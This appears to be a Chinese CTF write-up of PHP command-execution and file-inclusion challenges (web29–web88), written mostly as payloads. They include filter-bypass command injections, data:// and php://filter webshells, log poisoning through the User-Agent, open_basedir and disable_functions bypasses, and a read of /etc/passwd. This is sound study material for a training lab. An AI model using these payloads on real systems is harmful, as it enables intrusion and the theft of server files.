命令执行
web29
读代码,发现是过滤flag字符。那么可以直接
?c=echo%20ls
;
先看看本路径有啥,然后发现有flag.php,那么直接
?c=echo%20nl%20*
;
把文件内容全部输出,即可得到flag。
web30
读代码,发现过滤的内容多起来了。那么直接
?c=echo ls
;
先看看本路径有啥,然后发现有flag.php,那么直接
?c=echo%20nl%20*
;
把文件内容全部输出,即可得到flag。
直接
?c=echo%20nl%20f''lag.p''hp
;
把敏感字符直接用空字符截断也行。
web31
读代码,发现过滤的内容多起来了。看wp有这样的解决方法,直接“换条赛道”,即:?c=eval($_GET["b"]);&b=system("cat%20flag.php");
也可以用其他函数
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
- localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个”.”
- pos():输出数组第一个元素,不改变指针;
- scandir();遍历目录,这里因为参数为”.”所以遍历当前目录
- array_reverse():元组倒置
- next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
- show_source():查看源码
web32
读代码,过滤的内容太多了。看wp,发现如下payload:c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/resource 是 PHP 中的一种 流过滤器,用于将指定文件的内容进行 Base64 编码.
使用这个过滤器等同于将所有流数据通过 base64_encode() 函数进行处理. 如果给定了 line-length 参数,则输出的 Base64 字符串将被分成每行 line-length 个字符的块。如果给定了 line-break-chars 参数,则每个块将由给定的字符分隔. 这些参数与使用 base64_encode() 和 chunk_split() 函数具有相同的效果.
首先用include包含一个get内容,为参数1。参数1为php://filter/convert.base64-encode/resource=flag.php,用base64的流输出flag.php的编码。
web33
能用web32的方法。
web34
能用web32的方法。
web35
能用web32的方法。
web36
能用web32的方法。注意:这里还过滤了数字,所以变量名可以改成字母。我改成了’a’。/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
查看代码,发现include()。
include几种解法
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
使用data://伪协议传base64编码后的字符,即:
1 | PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=即为 |
PHP中有很多内置URL风格的伪协议,其中之一是data://。该协议可以访问请求的原始数据的只读流,将POST请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时POST想设置的文件内容,PHP执行时会将POST内容当作文件内容. 该协议需要allow_url_include为on,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行.
web38
解法和上一题一样。
可以先尝试?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgibHMgLWEiKQo/Pg==,即:
1 |
|
然后再?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgiY2F0IGZsYWcucGhwIikKPz4=,即:
1 |
|
不知道为什么,不能用nl *
。
web39
这里的include()加了.php的后缀。看wp,是可以直接通过注释来截断绕过的。
另一个wp直接没管后面的.php。?c=data://text/plain,
web40
wp说了很多方法
方法一
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
- localeconv() 函数返回一个包含本地数字及货币格式信息的数组。数组第一项就是当前目录。
- pos() 函数返回数组第一个元素
- scandir() 函数返回指定目录中的文件和目录的数组。
- array_reverse() 函数将数组颠倒。
- next() 函数将数组指针移动到下一个元素并返回该元素。
- show_source() 函数读取文件内容并输出。
因此,这段代码会输出当前目录下最后一个文件的内容。请注意,这段代码可能会有安全风险,因为它允许读取任意文件。如果您不信任输入,那么请勿使用这段代码
方法二
c=show_source(next(array_reverse(scandir(getcwd()))));
- getcwd() 函数返回当前工作目录的路径。
- scandir() 函数返回指定目录中的文件和目录的数组。
- array_reverse() 函数将数组颠倒。
- next() 函数将数组指针移动到下一个元素并返回该元素。
- show_source() 函数读取文件内容并输出。
因此,这段代码会输出当前目录下最后一个文件的内容。请注意,这段代码可能会有安全风险,因为它允许读取任意文件。如果您不信任输入,那么请勿使用这段代码。
方法三
c=eval(array_pop(next(get_defined_vars())));
- get_defined_vars() 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
- next() 函数将数组指针移动到下一个元素并返回该元素。
- array_pop() 函数将数组中的最后一个元素弹出并返回该元素。
- eval() 函数将字符串作为 PHP 代码执行。
因此,这段代码会执行 POST 请求中最后一个变量的值。请注意,这段代码可能会有安全风险,因为它允许执行任意 PHP 代码。如果您不信任输入,那么请勿使用这段代码。
可以直接POST数据。如:1=system('ls -a'); a=system('tac *');
等
web41
wp是这样说的。
留了一个“|”,可以直接采用wp提供的脚本!
web42
在system函数后加了拼接字符串。
1 | >/dev/null 2>&1 |
在 Linux 中,>/dev/null 和 2>&1 是 shell 命令的重定向操作。其中:
>/dev/null 表示将命令的标准输出重定向到 /dev/null 文件中,相当于将命令的输出丢弃。/dev/null 是一个特殊的文件,所有向它写入的数据都会被系统丢弃。
2>&1 表示将命令的标准错误输出重定向到标准输出中。这样,标准错误输出就会和标准输出一起输出到同一个地方。
因此,当您在执行命令时使用 >/dev/null 2>&1 时,标准输出和标准错误输出都会被丢弃。这种操作通常用于在后台运行命令时禁止输出。
那么就可以直接截断字符串。
?c=ls -a;
?c=tac flag.php;
web43
不让用分号截断命令了,但是还能用逻辑与截断。
在 Linux 命令行中,“||” 符号是逻辑或运算符。它用于连接两个命令,如果第一个命令执行失败,则执行第二个命令。这种方式可以让您在一条命令中处理多种情况。
例如,假设您想要在 Linux 中查找一个文件,但不确定它的确切位置。您可以使用以下命令:
1 | find / -name "filename" || echo "File not found" |
这个命令会在整个文件系统中查找名为 “filename” 的文件。如果找到了该文件,则输出该文件的路径。如果没有找到该文件,则输出 “File not found”。
请注意,“||” 符号只有在第一个命令执行失败时才会执行第二个命令。如果第一个命令成功,则不会执行第二个命令。
web44
1 | if(isset($_GET['c'])){ |
还是截断字符串。使用||进行命令截断,然后使用通配符绕过正则waf。
?c=tac fla*.php||
web45
在web44的基础上,waf新增了空格。
可以使用tab绕过(url编码为%09)
?c=tac%09fla*.php||
也可以使用$IFS绕过。
?c=echo$IFStac$IFS*
%0A
空格绕过:
在bash下可以用$IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}
(例如{cat,/etc/passwd}
)、%20(space)、%09(tab)
,这儿跟sql注入有点相似,用/**/
注释也能绕过。
${IFS},Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。
web46
1 | if(isset($_GET['c'])){ |
在上面的基础上过滤了单个数字、$、*。
还是可以通过%09绕过空格waf。不让用*,就用问号通配符绕过。
?c=tac%09fla?.php||
web47
在上题的基础上加了对more|less|head|sort|tail的绕过。
但是文件阅读还有nl、cat、tac、paste等等。用这些就行了。
?c=tac%09fla?.php||
web48
在上题的基础上加了对more|less|head|sort|tail|sed|cut|awk|strings|od|curl
还是没绕过tac
?c=tac%09fla?.php||
web49
还是没绕过tac
?c=tac%09fla?.php||
web50
还是没绕过tac,但是绕过了tab。可以采用单双引号绕过。
?c=tac<fla’’g.php||
?c=tac<fla’g’.php||
?c=tac<fla”g”.php||
都可以。
web51
类似web50。
web52
绕过了<>,但是可以采用${IFS}。flag在根目录下。
首先查找flag
?c=find${IFS}/${IFS}-name${IFS}fl””ag%0a
然后获取flag
?c=nl${IFS}/fla’’g%0a
web53
名字又改回了flag.php
?c=find${IFS}/${IFS}-name${IFS}fl””ag.php%0a
?c=s’’ort${IFS}fla””g.php%0a
web54
1 | if(isset($_GET['c'])){ |
代码在每个字符前都加了贪婪匹配。那么就用问号通配符来代替flag这四个字母。
?c=find${IFS}/${IFS}-name${IFS}f???.php%0a
找到内容在
/var/www/html/flag.php /tmp/html/flag.php
那就直接输出。但是cat也被贪婪匹配给挡出去了,这个命令位于/bin/cat。就用问号通配符绕过。
?c=/bin/?at${IFS}f???.php%0a
web55
无字母数字的命令执行
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
1 | if(isset($_GET['c'])){ |
php临时文件机制:
https://www.cnblogs.com/linuxsec/articles/11278477.html
1 | 在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。 |
一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。那么,可以按照这篇wp的写法,首先构造一个Post包。
我们用这篇wp构造的网页,本地打开,抓一个post包。
1 |
|
然后修改post包,将内容换成命令。让服务器访问.+/???/????????[@-[]。
1 | POST /?c=.+/???/????????[@-[] HTTP/1.1 |
上面那个包就是把内容换成了
1 |
|
多运行几次,总能运行到这个post文件。这样就可以命令执行了。
web56
解法与上题一致
web57
1 | // 还能炫的动吗? |
几乎把所有符号都防出去了。查看代码,似乎是要构造一个36出来。查看wp,
通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0
$(( ~$(()) )) :对0作取反运算,值为-1
$(( $((
$(()))) $(($(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2$((
$(( $(($(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1故我们在$((
$(( )) ))里面放37个$(($(()))),得到-37,取反即可得到36:
同理,
${_}
=”” //返回上一次命令$((${_}))
=0$((~$((${_}))))
=-1
可以连续构造37次-1,值为-37,取反就是36。
wp提供了一个脚本。
1 | get_reverse_number = "$((~$(({}))))" # 取反操作 |
1 | c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
查看源代码即得flag
web58
1 | if(isset($_POST['c'])){ |
直接post一个system(“ls”),提示被禁用了。先扫一下当前路径的文件。
c=print_r(scandir(dirname(‘FILE’)));
两种方法,第一种是直接show_source()函数
c=show_source(“flag.php”);
一种是用include和文件流。
1 | ?a=php://filter/convert.base64-encode/resource=flag.php |
或者直接包含文件流
c=include(“php://filter/convert.base64-encode/resource=flag.php”);
web59
同上题
web60
同上题
web61
同上题
web62
同上题
web63
同上题
web64
同上题
web65
同上题
web66
首先
c=print_r(scandir(dirname(‘FILE’)));
然后
c=highlight_file(‘flag.php’);
说flag不在这儿,就在根目录找一下
c=print_r(scandir(“/“));
有个flag.txt
c=highlight_file(“/flag.txt”);
web67
print_r()用不了了,可以用echo或者var_dump
c=var_dump(scandir(“/“));
c=echo(scandir(“/“)[6]);
发现flag.txt。读就行了。
web68
禁用了highlight_file。可以用include
c=include(“/flag.txt”);
web69
同上题
web70
同上题
web71
1 | error_reporting(0); |
在执行代码后,捕获了输出缓冲区的内容,存储在变量$s中,然后清空了输出缓冲区,最后,用正则替代了$s。可以通过直接exit(0);让后面的代码不执行,直接退出。
c=include(“/flag.txt”);exit(0);
web72
print_r,var_dump都不让用了。
那就用echo。
c=echo(scandir(dirname(“FILE”))[2]);
能读到的flag.php是空的。
查看根目录,发现没办法读根目录,有权限
1 | Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1 |
查看wp,发现是绕过open_basedir。
glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约,所以我们可以用它来绕过扫描目录
这段payload是查看根目录内容。当前目录就换成”glob://./*“即可
1 | c=$a=new DirectoryIterator("glob:///*"); |
根目录下有个flag0.txt,但是读取需要有权限。
UAF脚本得找一下。
https://cloud.tencent.com/developer/article/1944129
https://github.com/mm0r1/exploits/tree/master/php-json-bypass
这个wp的脚本能用。
https://blog.csdn.net/weixin_46081055/article/details/121648027
web73
用同样的glob绕过open_basedir,然后查看根目录,发现flagc.txt,然后就直接用include读取即可。
web74
同上题,不过换成了flagx.txt
web75
根目录下的flag换成了flag36.txt。
有各种绕过,包括ini_set(),include()和symlink()。
之前的uaf poc也因为禁止了strlen()函数用不了了。
这里wp用了sql的函数。通过连接sql来用load_file()函数进行读取。
但是有一个问题:如果这个题没有wp,该怎么知道这个主机有sql服务?该怎么知道这个sql服务的用户名和密码?用nmap扫描也扫不到结果。
1 | try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', |
web76
跟web75差不多
web77
首先用glob绕过open_basedir(别忘了URL编码)
1 | c= |
然后根目录下发现flag36x.txt。
wp说用FFI。FFI是指在一种语言里调用另一种语言代码的技术。php7.4以上引入了这个特性。
1 | $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 |
wp创建了一个新的system对象(C的),然后用这个对象调用system函数,执行“/readflag > 1.txt”(服务器存在一个readflag可执行文件,其功能是输出flag内容),将其输出到1.txt,然后就能访问这个/1.txt得到flag。
web78
1 | if(isset($_GET['file'])){ |
可以传一个file的get参,用于文件包含。
?file=php://filter/read=convert.base64-encode/resource=flag.php
传完了以后即得到base64字符串,解码即得flag。
web79
1 | if(isset($_GET['file'])){ |
加了一个字符串替换的waf
方法1:data伪协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
把<?php system(‘cat flag.php’);打成base64发过去。完了以后查看源代码即可。
方法2:php伪协议可以通过大小写绕过,但是后面的flag文件名不好整,那么可以通过php://input伪协议来读post body中的内容
?file=Php://input
与此同时post body里放上
方法3:php短标签+通配符
?file=data://text/plain,=system('ls');?>
?file=data://text/plain,=system('tac flag*');?>
web80
方法1: 同上题方法2
?file=Php://input
与此同时post body里放上
方法2:包含日志文件
首先访问/var/log/nginx/access.log,抓包。将木马写入User-Agent
1 | GET /?file=/var/log/nginx/access.log HTTP/1.1 |
然后连access.log这个后门或者直接任意命令执行。
?file=/var/log/nginx/access.log&a=system(‘cat /var/www/html/fl0g.php’);phpinfo();
注:需要看源代码才能看到cat的内容
web81
1 |
|
waf加了冒号。只能用上一题的方法2了。wappalyzer看到反向代理是nginx。
首先访问/var/log/nginx/access.log,抓个包,往header的UA里写马。
然后连后门或者直接任意命令执行。
?file=/var/log/nginx/access.log&a=system(“cat fl0g.php”);
web82
1 | if(isset($_GET['file'])){ |
这题无法访问access.log了。那该怎么办呢?看wp,可以通过session进行反序列化或者文件包含。
根据这篇文章,在php.ini中,session有着这样的配置:
1 | session.upload_progress.enabled = on //enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ; |
需要用到的精髓问题就是如下两点,wp中有解答:
- 代码里没有session_start(),如何创建session文件呢?
其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
但session还有一个默认选项,session.use_strict_mode默认值为0。在这个情况下,用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
- 但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容会立即清空?
可以通过竞争,在session文件内容清空前进行利用。
编写一个利用脚本。从这个wp处找到一个python脚本。
最近在学习go语言,那就用go写。有时间就用go写!
web87
1 | if(isset($_GET['file'])){ |
绕过file_put_contents()的php die死亡代码。
对于这道题,可以采用base64编码绕过的情况。
首先,file参数设置用base64流写文件;
1 | php://filter/write=convert.base64-decode/resource=shell.php |
这里因为waf绕过,所以需要两次url编码。为什么要两次?因为
到了服务器端,也就是容器端:【容器默认做一次解码(utf-8, gbk, iso-xxxx)】->【服务器端代码做一次 utf-8解码】
两次url编码可以解决服务器不采用utf8解码时会出现乱码的情况,也可以绕过一些waf。
然后,content写入马。
1 | content=<?php phpinfo();eval($_GET['cmd']);?> |
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
我们可以通过这个拼接来做到这一点。
“”中,一共参与解码的是phpdie六个字符。所以只有六个字节,需要补充两个字符。
对这道题,如果我们传过去上面木马的直接base64结果:PD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg==的话,就会进行一个拼接,即base64解码
1 | phpdiePD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg== |
其结果奇怪。因为phpdie只有六个字节,又挖来了我们传过去的字符串最前面的俩字符PD。
1 | ¦]ãÃ÷æfò¶WfÂEôtUE²v6ÖBuÒ³óà |
所以我们要在base64的情况补俩字符,这样PD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbJ2NtZCddKTs/Pg==就能正常解码了。
1 | ¦]æ<?php phpinfo();eval($_GET['cmd']);?> |
cmd=system(“ls”);
然后进行查看源代码即可。
web88
1 | if(isset($_GET['file'])){ |
发现过滤了大多数字符,但是没有过滤冒号,可以考虑采用PHP伪协议,往data://text/plain;base64,xxxxxx里加东西,但是因为这里加号和等于号全部被waf了,所以需要在编码里去掉。这里构造一个任意命令执行。
1 | ?file=data://text/plain;base64,<?php eval($_GET['a']);?>aa&a=system('ls'); |
在构造结束后,即可对要写入的部分base64一下,然后就能任意命令执行了。
1 | ?file=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/PmFh&a=system('ls'); |